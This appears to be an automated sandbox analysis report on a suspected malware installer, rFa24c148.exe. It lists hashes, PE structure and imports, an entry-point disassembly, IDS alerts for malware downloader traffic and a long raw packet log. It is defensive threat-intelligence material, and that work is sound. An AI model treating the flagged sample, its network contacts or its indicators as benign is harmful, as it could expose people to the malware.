Process:	C:\Users\user\Desktop\rFa24c148.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.801108840712148
Encrypted:	false
SSDEEP:	192:e/b2HS5ih/7i00eWz9T7PH6yeFcQMI5+Vw+EXWZ77dslFZk:ewSUmWw9T7MmnI5+/F7Kdk
MD5:	FC90DFB694D0E17B013D6F818BCE41B0
SHA1:	3243969886D640AF3BFA442728B9F0DFF9D5F5B0
SHA-256:	7FE77CA13121A113C59630A3DBA0C8AAA6372E8082393274DA8F8608C4CE4528
SHA-512:	324F13AA7A33C6408E2A57C3484D1691ECEE7C3C1366DE2BB8978C8DC66B18425D8CAB5A32D1702C13C43703E36148A022263DE7166AFDCE141DA2B01169F1C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Remittance Copy For Advance Payment PO _PDF.exe, Detection: malicious, Browse Filename: PO OCTOBER 2024 _ PDF.exe, Detection: malicious, Browse Filename: Remittance Copy For Advance Payment PO _PDF.exe, Detection: malicious, Browse Filename: POP.exe, Detection: malicious, Browse Filename: POP.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.20658.28793.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.20658.28793.exe, Detection: malicious, Browse Filename: dVX6r5CyYY.exe, Detection: malicious, Browse Filename: dVX6r5CyYY.exe, Detection: malicious, Browse Filename: Signed PO.js, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....oS...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..>....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.497827071652818
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	rFa24c148.exe
File size:	1'005'202 bytes
MD5:	7644ebbf786053ffaf95dbe86b7de5d4
SHA1:	5d563fb10f6d71049ae5f69fb6ccb9f2217ddf32
SHA256:	0b7ba80811d300aefe42de77b7b8fb2d5b6f9a8d4f2cf3d1213b6fead5efb59b
SHA512:	d2da4f4ce1d26aca8e497e0d889d34ce9a4ec06b50245eb29a1feb7c7c20fce281e0dbefa37d234230163ebeaa602f1a49edee312024628387d2759896434a3c
SSDEEP:	24576:ynE9Wlvj9UENDYuRe5In2hINGct2YBD9w254CQ+K1Q:yEiJUTOn2hINGctTDOBC7
TLSH:	FA25234B7BDCE017C1868E362A67C639D975AC182929874B3B31BF2F6A343D56D18384
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L.....oS.................^..........1.......p....@

File Icon


Icon Hash:	b8333351accc5531

Static PE Info

General

Entrypoint:	0x4031ff
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x536FD795 [Sun May 11 20:03:33 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7ed0d71376e55d58ab36dc7d3ffda898

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 004092D8h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [00407134h]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429258h], eax
call 00007F80C50E4974h
mov dword ptr [004291A4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420658h
call dword ptr [0040717Ch]
push 004092C0h
push 004281A0h
call 00007F80C50E45DFh
call dword ptr [00407138h]
mov ebx, 00434000h
push eax
push ebx
call 00007F80C50E45CDh
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291A0h], eax
mov eax, ebx
jne 00007F80C50E1ADAh
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007F80C50E401Eh
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007F80C50E1B9Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007F80C50E1AD9h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007F80C50E1ACBh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x62000	0x3a210	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5cf6	0x5e00	eee41166f9daa8eae9e9b5d18d2d3c6e	False	0.6619431515957447	data	6.441066052438077	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2f90a087fd075d2b61c65e6db9ea1417	False	0.4314453125	data	5.037502749366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x20298	0x600	eaa9954d4bef1481fc1bddefea6bf878	False	0.4609375	data	3.6563423252168445	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x38000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x62000	0x3a210	0x3a400	f91af9b4d232be8e11695918d7fec713	False	0.43928547478540775	data	4.7460567769423365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x623b8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.26944575890216493
RT_ICON	0x72be0	0xb6ac	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.988794799418356
RT_ICON	0x7e290	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.3126708009249527
RT_ICON	0x87738	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	English	United States	0.32300751879699247
RT_ICON	0x8df20	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.3179297597042514
RT_ICON	0x933a8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.32646433632498817
RT_ICON	0x975d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.36317427385892115
RT_ICON	0x99b78	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.40150093808630394
RT_ICON	0x9ac20	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.44426229508196724
RT_ICON	0x9b5a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.48936170212765956
RT_DIALOG	0x9ba10	0x100	data	English	United States	0.5234375
RT_DIALOG	0x9bb10	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x9bc30	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x9bcf8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x9bd58	0x92	data	English	United States	0.7191780821917808
RT_VERSION	0x9bdf0	0x114	data	English	United States	0.6086956521739131
RT_MANIFEST	0x9bf08	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, SetFileAttributesW, ExpandEnvironmentStringsW, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, SetErrorMode, GetCommandLineW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T02:02:41.620398+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49736	172.217.18.110	443	TCP
2024-10-28T02:02:48.017603+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	193.122.6.168	80	TCP
2024-10-28T02:02:49.517616+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	193.122.6.168	80	TCP
2024-10-28T02:02:50.234028+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49740	188.114.96.3	443	TCP
2024-10-28T02:02:51.174212+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49741	193.122.6.168	80	TCP
2024-10-28T02:02:52.814456+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49743	193.122.6.168	80	TCP
2024-10-28T02:02:53.524437+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49744	188.114.96.3	443	TCP
2024-10-28T02:02:55.203844+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49746	188.114.96.3	443	TCP
2024-10-28T02:03:00.071669+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49769	188.114.96.3	443	TCP
2024-10-28T02:03:01.696824+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49781	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 02:02:40.314754009 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:40.314814091 CET	443	49736	172.217.18.110	192.168.2.4
Oct 28, 2024 02:02:40.314897060 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:40.324665070 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:40.324686050 CET	443	49736	172.217.18.110	192.168.2.4
Oct 28, 2024 02:02:41.203975916 CET	443	49736	172.217.18.110	192.168.2.4
Oct 28, 2024 02:02:41.204046965 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:41.205064058 CET	443	49736	172.217.18.110	192.168.2.4
Oct 28, 2024 02:02:41.205126047 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:41.257138014 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:41.257184029 CET	443	49736	172.217.18.110	192.168.2.4
Oct 28, 2024 02:02:41.257791996 CET	443	49736	172.217.18.110	192.168.2.4
Oct 28, 2024 02:02:41.257869959 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:41.261569023 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:41.303347111 CET	443	49736	172.217.18.110	192.168.2.4
Oct 28, 2024 02:02:41.620398045 CET	443	49736	172.217.18.110	192.168.2.4
Oct 28, 2024 02:02:41.620634079 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:41.620672941 CET	443	49736	172.217.18.110	192.168.2.4
Oct 28, 2024 02:02:41.620735884 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:41.620824099 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:41.620938063 CET	443	49736	172.217.18.110	192.168.2.4
Oct 28, 2024 02:02:41.621292114 CET	443	49736	172.217.18.110	192.168.2.4
Oct 28, 2024 02:02:41.621366978 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:41.621396065 CET	49736	443	192.168.2.4	172.217.18.110
Oct 28, 2024 02:02:41.670907974 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:41.670957088 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:41.671081066 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:41.671304941 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:41.671324015 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:42.559190035 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:42.559277058 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:42.566833019 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:42.566859007 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:42.567384005 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:42.567451000 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:42.567899942 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:42.611346006 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.278151989 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.278434038 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.287025928 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.287144899 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.397032976 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.397187948 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.397233009 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.397281885 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.397289038 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.397339106 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.397344112 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.397387981 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.408406973 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.408649921 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.408674955 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.408838034 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.413129091 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.413224936 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.413240910 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.413305044 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.422746897 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.422866106 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.422914982 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.423046112 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.432197094 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.432318926 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.432338953 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.432405949 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.441586018 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.441765070 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.441793919 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.441883087 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.451229095 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.451356888 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.451383114 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.451466084 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.460850000 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.460978031 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.461003065 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.461117029 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.470069885 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.470174074 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.470186949 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.470258951 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.519743919 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.519884109 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.519932985 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.520030022 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.520036936 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.520082951 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.520093918 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.520140886 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.520169973 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.520222902 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.520299911 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.520351887 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.520401001 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.520454884 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.520515919 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.520566940 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.526966095 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.527081013 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.527089119 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.527142048 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.539005041 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.539129972 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.539135933 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.539182901 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.541888952 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.541954041 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.541959047 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.542198896 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.549169064 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.549257040 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.549263954 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.549308062 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.554939032 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.555020094 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.555032015 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.555039883 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.555123091 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.561100960 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.561233997 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.561239004 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.561306953 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.567291975 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.567419052 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.567431927 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.567502022 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.573267937 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.573420048 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.573447943 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.573513031 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.579463959 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.579565048 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.579580069 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.579648018 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.585633993 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.585766077 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.585791111 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.585916042 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.591994047 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.592094898 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.592104912 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.592175007 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.598591089 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.598726988 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.598735094 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.598802090 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.604387999 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.604496956 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.604681015 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.604759932 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.610352993 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.610490084 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.610501051 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.610603094 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.616494894 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.616604090 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.616616011 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.616681099 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.622708082 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.622776985 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.622806072 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.622869968 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.633294106 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.633481026 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.633510113 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.633584976 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.634747982 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.634814978 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.634833097 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.634879112 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.641398907 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.641484022 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.641496897 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.641546965 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.654714108 CET	443	49737	142.250.185.225	192.168.2.4
